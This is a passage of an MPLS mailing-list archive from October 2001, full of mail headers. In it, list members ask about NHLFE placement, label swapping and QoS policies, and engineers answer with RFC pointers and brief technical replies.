Received: from mail4.registeredsite.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail4.registeredsite.com [64.224.9.13])
	id QQljgb09056
	for <mpls@uu.net>; Thu, 4 Oct 2001 06:18:42 GMT
Received: from mail.cominsights.com (mail.cominsights.com [64.225.2.217])
	by mail4.registeredsite.com (8.11.4/8.11.4) with ESMTP id f945K9826259
	for <mpls@uu.net>; Thu, 4 Oct 2001 01:20:09 -0400
Date: Thu,  4 Oct 2001 02:18:26 -0400
Message-Id: <200110040218.AA321585360@mail.cominsights.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: "krishnakanth.rao" <krishnakanth.rao@mail.cominsights.com>
Reply-To: <krishnakanth.rao@mail.cominsights.com>
To: <mpls@UU.NET>
Subject: NHLFE
X-Mailer: <IMail v6.05>
Sender: owner-mpls@UU.NET
Precedence: bulk

where does The Next Hop Label Forwarding Entry (NHLFE)reside ?

Krishnakanth


From owner-mpls@UU.NET  Thu Oct  4 02:29:21 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA26859
	for <mpls-archive@lists.ietf.org>; Thu, 4 Oct 2001 02:29:21 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljgb13699;
	Thu, 4 Oct 2001 06:29:27 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljgb07572
	for mpls-outgoing; Thu, 4 Oct 2001 06:29:00 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQljgb07567
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 4 Oct 2001 06:28:58 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljgb01565
	for <mpls@uu.net>; Thu, 4 Oct 2001 06:28:20 GMT
Received: from mail4.registeredsite.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail4.registeredsite.com [64.224.9.13])
	id QQljgb25137
	for <mpls@uu.net>; Thu, 4 Oct 2001 06:28:32 GMT
Received: from mail.cominsights.com (mail.cominsights.com [64.225.2.217])
	by mail4.registeredsite.com (8.11.4/8.11.4) with ESMTP id f945U0830685
	for <mpls@uu.net>; Thu, 4 Oct 2001 01:30:00 -0400
Date: Thu,  4 Oct 2001 02:28:17 -0400
Message-Id: <200110040228.AA1894187250@mail.cominsights.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: "krishnakanth.rao" <krishnakanth.rao@mail.cominsights.com>
Reply-To: <krishnakanth.rao@mail.cominsights.com>
To: <mpls@UU.NET>
Subject: label swapping
X-Mailer: <IMail v6.05>
Sender: owner-mpls@UU.NET
Precedence: bulk

Could anybody explain in detail how label swapping occurs at each LSR

Krishnakanth


From owner-mpls@UU.NET  Thu Oct  4 03:06:22 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA29921
	for <mpls-archive@lists.ietf.org>; Thu, 4 Oct 2001 03:06:22 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljge23951;
	Thu, 4 Oct 2001 07:06:18 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljge25115
	for mpls-outgoing; Thu, 4 Oct 2001 07:05:38 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQljge23589
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 4 Oct 2001 07:05:23 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljge04464
	for <mpls@uu.net>; Thu, 4 Oct 2001 07:05:15 GMT
Received: from mail2.registeredsite.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail2.registeredsite.com [64.224.9.11])
	id QQljge27569
	for <mpls@uu.net>; Thu, 4 Oct 2001 07:05:27 GMT
Received: from mail.cominsights.com (mail.cominsights.com [64.225.2.217])
	by mail2.registeredsite.com (8.11.4/8.11.4) with ESMTP id f946B4O13896
	for <mpls@uu.net>; Thu, 4 Oct 2001 02:11:04 -0400
Date: Thu,  4 Oct 2001 03:05:08 -0400
Message-Id: <200110040305.AA2985099440@mail.cominsights.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: "krishnakanth.rao" <krishnakanth.rao@mail.cominsights.com>
Reply-To: <krishnakanth.rao@mail.cominsights.com>
To: <mpls@UU.NET>
Subject: MPLS Policies
X-Mailer: <IMail v6.05>
Sender: owner-mpls@UU.NET
Precedence: bulk

Can policies be formulated and deployed in a router(MPLS node - LSR) which can look into the packet labels and provide the necessary Quality of Service (QoS) in a MPLS domain.

Krishnakanth



From owner-mpls@UU.NET  Thu Oct  4 03:08:49 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA00139
	for <mpls-archive@lists.ietf.org>; Thu, 4 Oct 2001 03:08:49 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljge27991;
	Thu, 4 Oct 2001 07:08:53 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljge28742
	for mpls-outgoing; Thu, 4 Oct 2001 07:08:19 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQljge28734
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 4 Oct 2001 07:08:17 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljge17164
	for <mpls@uu.net>; Thu, 4 Oct 2001 07:08:01 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljge28196
	for <mpls@uu.net>; Thu, 4 Oct 2001 07:07:54 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id DAA21272 for <mpls@uu.net>; Thu, 4 Oct 2001 03:08:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id DAA10161 for mpls@uu.net; Thu, 4 Oct 2001 03:08:01 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljge28144
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 4 Oct 2001 07:06:41 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljge01127
	for <mpls@UU.NET>; Thu, 4 Oct 2001 07:06:17 GMT
Received: from sj-msg-core-4.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-4.cisco.com [171.71.163.10])
	id QQljge25587
	for <mpls@UU.NET>; Thu, 4 Oct 2001 07:06:10 GMT
Received: from sj-msg-av-3.cisco.com (sj-msg-av-3.cisco.com [171.69.17.42])
	by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f9476Ru28636;
	Thu, 4 Oct 2001 00:06:28 -0700 (PDT)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-3.cisco.com (8.10.1/8.10.1) with ESMTP id f9476D410499;
	Thu, 4 Oct 2001 00:06:13 -0700 (PDT)
Received: from ZAZIZ-W2K.cisco.com (dhcp-10-24-2-227.cisco.com [10.24.2.227]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id AAA27843; Thu, 4 Oct 2001 00:06:12 -0700 (PDT)
Message-Id: <4.3.2.7.2.20011004000045.078f0130@ce-nfs-1.cisco.com>
X-Sender: zaziz@ce-nfs-1.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Thu, 04 Oct 2001 00:04:27 -0700
To: <krishnakanth.rao@mail.cominsights.com>
From: Zaheer Aziz <zaziz@cisco.com>
Subject: Re: NHLFE
Cc: <mpls@UU.NET>
In-Reply-To: <200110040218.AA321585360@mail.cominsights.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

At 02:18 AM 10/4/2001 -0400, krishnakanth.rao wrote:
>where does The Next Hop Label Forwarding Entry (NHLFE)reside ?

IMO LFIB label forwarding information base seems like the appropriate place 
because only labeled packets
will be processed using NHLFE

Zaheer




>Krishnakanth



From owner-mpls@UU.NET  Thu Oct  4 03:11:44 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA00382
	for <mpls-archive@lists.ietf.org>; Thu, 4 Oct 2001 03:11:43 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljge06182;
	Thu, 4 Oct 2001 07:11:49 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljge29280
	for mpls-outgoing; Thu, 4 Oct 2001 07:11:19 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljge29253
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 4 Oct 2001 07:11:11 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljge16059
	for <mpls@uu.net>; Thu, 4 Oct 2001 07:11:07 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljge03538
	for <mpls@uu.net>; Thu, 4 Oct 2001 07:11:00 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id DAA21431 for <mpls@uu.net>; Thu, 4 Oct 2001 03:11:06 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id DAA10555 for mpls@uu.net; Thu, 4 Oct 2001 03:11:06 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQljge29003
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 4 Oct 2001 07:10:03 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljge06344
	for <mpls@UU.NET>; Thu, 4 Oct 2001 07:09:45 GMT
Received: from sj-msg-core-3.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-3.cisco.com [171.70.157.152])
	id QQljge03368
	for <mpls@UU.NET>; Thu, 4 Oct 2001 07:09:58 GMT
Received: from sj-msg-av-1.cisco.com (sj-msg-av-1.cisco.com [171.69.11.130])
	by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id f9477dC24384;
	Thu, 4 Oct 2001 00:07:39 -0700 (PDT)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-1.cisco.com (8.10.1/8.10.1) with ESMTP id f947A1A09295;
	Thu, 4 Oct 2001 00:10:01 -0700 (PDT)
Received: from ZAZIZ-W2K.cisco.com (dhcp-10-24-2-227.cisco.com [10.24.2.227]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id AAA28180; Thu, 4 Oct 2001 00:09:42 -0700 (PDT)
Message-Id: <4.3.2.7.2.20011004000553.01f66548@ce-nfs-1.cisco.com>
X-Sender: zaziz@ce-nfs-1.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Thu, 04 Oct 2001 00:07:57 -0700
To: <krishnakanth.rao@mail.cominsights.com>
From: Zaheer Aziz <zaziz@cisco.com>
Subject: Re: label swapping
Cc: <mpls@UU.NET>
In-Reply-To: <200110040228.AA1894187250@mail.cominsights.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

At 02:28 AM 10/4/2001 -0400, krishnakanth.rao wrote:
>Could anybody explain in detail how label swapping occurs at each LSR


3.10 of RFC 3031 explains in brief and other sub-sections in 3.x discuss 
more cases.

Do you have a particular question?

Zaheer


>Krishnakanth



From owner-mpls@UU.NET  Thu Oct  4 07:30:25 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA05997
	for <mpls-archive@lists.ietf.org>; Thu, 4 Oct 2001 07:30:25 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljgw21607;
	Thu, 4 Oct 2001 11:30:23 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljgv01946
	for mpls-outgoing; Thu, 4 Oct 2001 11:29:41 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljgv01939
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 4 Oct 2001 11:29:40 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljgv18119
	for <mpls@uu.net>; Thu, 4 Oct 2001 11:28:38 GMT
Received: from hongkong.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: [202.84.12.153])
	id QQljgv27107
	for <mpls@uu.net>; Thu, 4 Oct 2001 11:28:49 GMT
Received: from hongkong.com([10.1.0.101]) by hongkong.com(JetMail 2.5.3.0)
	with SMTP id jm113bbc836e; Thu,  4 Oct 2001 11:17:46 -0000
Received: from cmr2.ash.ops.us.uu.net([198.5.241.40]) by hongkong.com(JetMail 2.5.3.0)
	with SMTP id jm223bb32daa; Thu, 27 Sep 2001 06:16:11 -0000
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQliep25204;
	Wed, 26 Sep 2001 19:55:40 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQliep07162
	for mpls-outgoing; Wed, 26 Sep 2001 19:54:44 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQliep07155
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 26 Sep 2001 19:54:40 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQliep17050
	for <mpls@UU.NET>; Wed, 26 Sep 2001 19:54:17 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQliep20751
	for <mpls@UU.NET>; Wed, 26 Sep 2001 19:54:11 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id PAA14585; Wed, 26 Sep 2001 15:54:16 -0400 (EDT)
Received: from localhost (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) with ESMTP id PAA00695; Wed, 26 Sep 2001 15:54:15 -0400 (EDT)
Message-Id: <200109261954.PAA00695@erosen-u10.cisco.com>
X-Authentication-Warning: erosen-u10.cisco.com: erosen owned process doing -bs
To: Brijesh Kumar <Brijesh@coronanetworks.com>
cc: Mareline Sheldon <marelines@yahoo.com>, giles@packetexchange.net,
        kameswara.rao@ericsson.com, Henry Bibb <HBibb@hatterasnetworks.com>,
        "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: MPLS tunneled in IP 
In-reply-to: Your message of Wed, 26 Sep 2001 11:23:12 -0700.
             <D55193A1090CD4118171009027DC8CEBAC192C@mail1.coronanetworks.com> 
Reply-To: erosen@cisco.com
User-Agent: EMH/1.10.0 WEMI/1.13.2 (Mochimune) FLIM/1.12.1
 (=?ISO-8859-4?Q?Nishinoky=F2?=) Emacs/20.6 (sparc-sun-solaris2.5.1)
 MULE/4.0 (HANANOEN)
MIME-Version: 1.0 (generated by WEMI 1.13.2 - "Mochimune")
Content-Type: text/plain; charset=US-ASCII
Date: Wed, 26 Sep 2001 15:54:15 -0400
From: Eric Rosen <erosen@cisco.com>
X-Auto-Forward: bennith@i-cable.com
Sender: owner-mpls@UU.NET
Precedence: bulk


Brijesh> Till now, we only have MPLS over  IP and MPLS over GRE drafts - but
Brijesh> wait  till more  drafts appear  extolling the  virtues and  need of
Brijesh> remaining possibilities-  MPLS over L2TP, MPLS over  PPP, MPLS over
Brijesh> IPSEC etc... ;-).

You're certainly out of touch ;-)

For MPLS over PPP, see section 4 of RFC 3032. 

For MPLS over IPsec, see draft-ietf-ppvpn-ipsec-2547-00.txt. 

Brijesh> As a matter of fact, such tunneling is adding unwanted layering as,
Brijesh> in  most  cases, you  would  be  better  off using  the  underlying
Brijesh> tunneling mechanism minus MPLS shim header.

Right, if  you don't  have an  MPLS capable backbone,  don't try  to support
MPLS-based services by  carrying MPLS in IP; instead just  omit the shim and
use IP's  underlying tunneling mechanisms  instead.  It's obvious how  to do
that, and after all it's just a small matter of programming ;-)





From owner-mpls@UU.NET  Thu Oct  4 11:30:47 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16487
	for <mpls-archive@lists.ietf.org>; Thu, 4 Oct 2001 11:30:47 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljhl06645;
	Thu, 4 Oct 2001 15:28:41 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljhl06640
	for mpls-outgoing; Thu, 4 Oct 2001 15:28:05 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQljhl06634
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 4 Oct 2001 15:28:02 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljhl01097
	for <mpls@UU.NET>; Thu, 4 Oct 2001 15:27:09 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandmail.sandburst.com [216.57.132.42])
	id QQljhl04726
	for <mpls@UU.NET>; Thu, 4 Oct 2001 15:27:22 GMT
Message-ID: <3BBC7FC6.1303CABF@sandburst.com>
Date: Thu, 04 Oct 2001 11:27:02 -0400
From: Eric Gray <eric.gray@sandburst.com>
MIME-Version: 1.0
To: Zaheer Aziz <zaziz@cisco.com>
Cc: krishnakanth.rao@mail.cominsights.com, mpls@UU.NET
Subject: Re: NHLFE
References: <4.3.2.7.2.20011004000045.078f0130@ce-nfs-1.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Zaheer,

    And our studio audience says - BBRRRRTTTTTT!

    Where the NHLFE resides, how the information is encoded and whether
or not it is distributed or centrallized are implementation specific, however,
in general, it makes sense to store it in such a way as to make it possible
for the information to be used directly by optimized forwarding mechanisms.

    The NHLFE is 'logically' accessed using either an ILM (incoming label
mapping), or an FTN (FEC to NHLFE mapping).  In the former case, the
LSR is either an intermediate LSR or an egress for the LSP associated with
the specific label.  In the latter case, the LSR is the ingress for the LSP that
is associated with the FEC and a mapped NHLFE.

    An NHLFE may 'logically' be used wether there is an incoming label or
not.

You wrote:

> At 02:18 AM 10/4/2001 -0400, krishnakanth.rao wrote:
> >where does The Next Hop Label Forwarding Entry (NHLFE)reside ?
>
> IMO LFIB label forwarding information base seems like the appropriate place
> because only labeled packets
> will be processed using NHLFE
>
> Zaheer
>
> >Krishnakanth

--
Eric Gray (mailto:eric.gray@sandburst.com)
http://www.mindspring.com/~ewgray





From owner-mpls@UU.NET  Thu Oct  4 11:32:24 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16570
	for <mpls-archive@lists.ietf.org>; Thu, 4 Oct 2001 11:32:24 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljhm09661;
	Thu, 4 Oct 2001 15:30:24 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljhl06752
	for mpls-outgoing; Thu, 4 Oct 2001 15:29:54 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljhl06745
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 4 Oct 2001 15:29:49 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljhl06984
	for <mpls@UU.NET>; Thu, 4 Oct 2001 15:29:43 GMT
Received: from sandmail.sandburst.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandmail.sandburst.com [216.57.132.42])
	id QQljhl06326
	for <mpls@UU.NET>; Thu, 4 Oct 2001 15:29:36 GMT
Message-ID: <3BBC805C.A426EDF3@sandburst.com>
Date: Thu, 04 Oct 2001 11:29:32 -0400
From: Eric Gray <eric.gray@sandburst.com>
MIME-Version: 1.0
To: krishnakanth.rao@mail.cominsights.com
Cc: mpls@UU.NET
Subject: Re: MPLS Policies
References: <200110040305.AA2985099440@mail.cominsights.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Krishnakanth,

    Yes.

You wrote:

> Can policies be formulated and deployed in a router(MPLS node - LSR) which can look into the packet labels and provide the necessary Quality of Service (QoS) in a MPLS domain.
>
> Krishnakanth

--
Eric Gray (mailto:eric.gray@sandburst.com)
http://www.mindspring.com/~ewgray





From owner-mpls@UU.NET  Thu Oct  4 11:33:01 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16596
	for <mpls-archive@lists.ietf.org>; Thu, 4 Oct 2001 11:33:01 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljhm10312;
	Thu, 4 Oct 2001 15:30:45 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljhm06795
	for mpls-outgoing; Thu, 4 Oct 2001 15:30:14 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljhm06785
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 4 Oct 2001 15:30:07 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljhl01597
	for <mpls@UU.NET>; Thu, 4 Oct 2001 15:28:41 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandmail.sandburst.com [216.57.132.42])
	id QQljhl07031
	for <mpls@UU.NET>; Thu, 4 Oct 2001 15:28:54 GMT
Message-ID: <3BBC8028.C69D5B82@sandburst.com>
Date: Thu, 04 Oct 2001 11:28:40 -0400
From: Eric Gray <eric.gray@sandburst.com>
MIME-Version: 1.0
To: krishnakanth.rao@mail.cominsights.com
Cc: mpls@UU.NET
Subject: Re: label swapping
References: <200110040228.AA1894187250@mail.cominsights.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Krishnakanth,

    Yes.

You wrote:

> Could anybody explain in detail how label swapping occurs at each LSR
>
> Krishnakanth

--
Eric Gray (mailto:eric.gray@sandburst.com)
http://www.mindspring.com/~ewgray





From owner-mpls@UU.NET  Thu Oct  4 11:33:12 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16608
	for <mpls-archive@lists.ietf.org>; Thu, 4 Oct 2001 11:33:11 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljhm11225;
	Thu, 4 Oct 2001 15:31:08 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljhm06815
	for mpls-outgoing; Thu, 4 Oct 2001 15:30:33 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQljhm06808
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 4 Oct 2001 15:30:26 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljhm08262
	for <mpls@uu.net>; Thu, 4 Oct 2001 15:30:16 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljhm07212
	for <mpls@uu.net>; Thu, 4 Oct 2001 15:30:09 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA02149 for <mpls@uu.net>; Thu, 4 Oct 2001 11:30:16 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA02996 for mpls@uu.net; Thu, 4 Oct 2001 11:30:16 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQljhl06704
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 4 Oct 2001 15:29:21 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljhl03405
	for <mpls@UU.NET>; Thu, 4 Oct 2001 15:28:16 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQljhl24823
	for <mpls@UU.NET>; Thu, 4 Oct 2001 15:28:28 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA24604
	for <mpls@UU.NET>; Thu, 4 Oct 2001 11:28:13 -0400 (EDT)
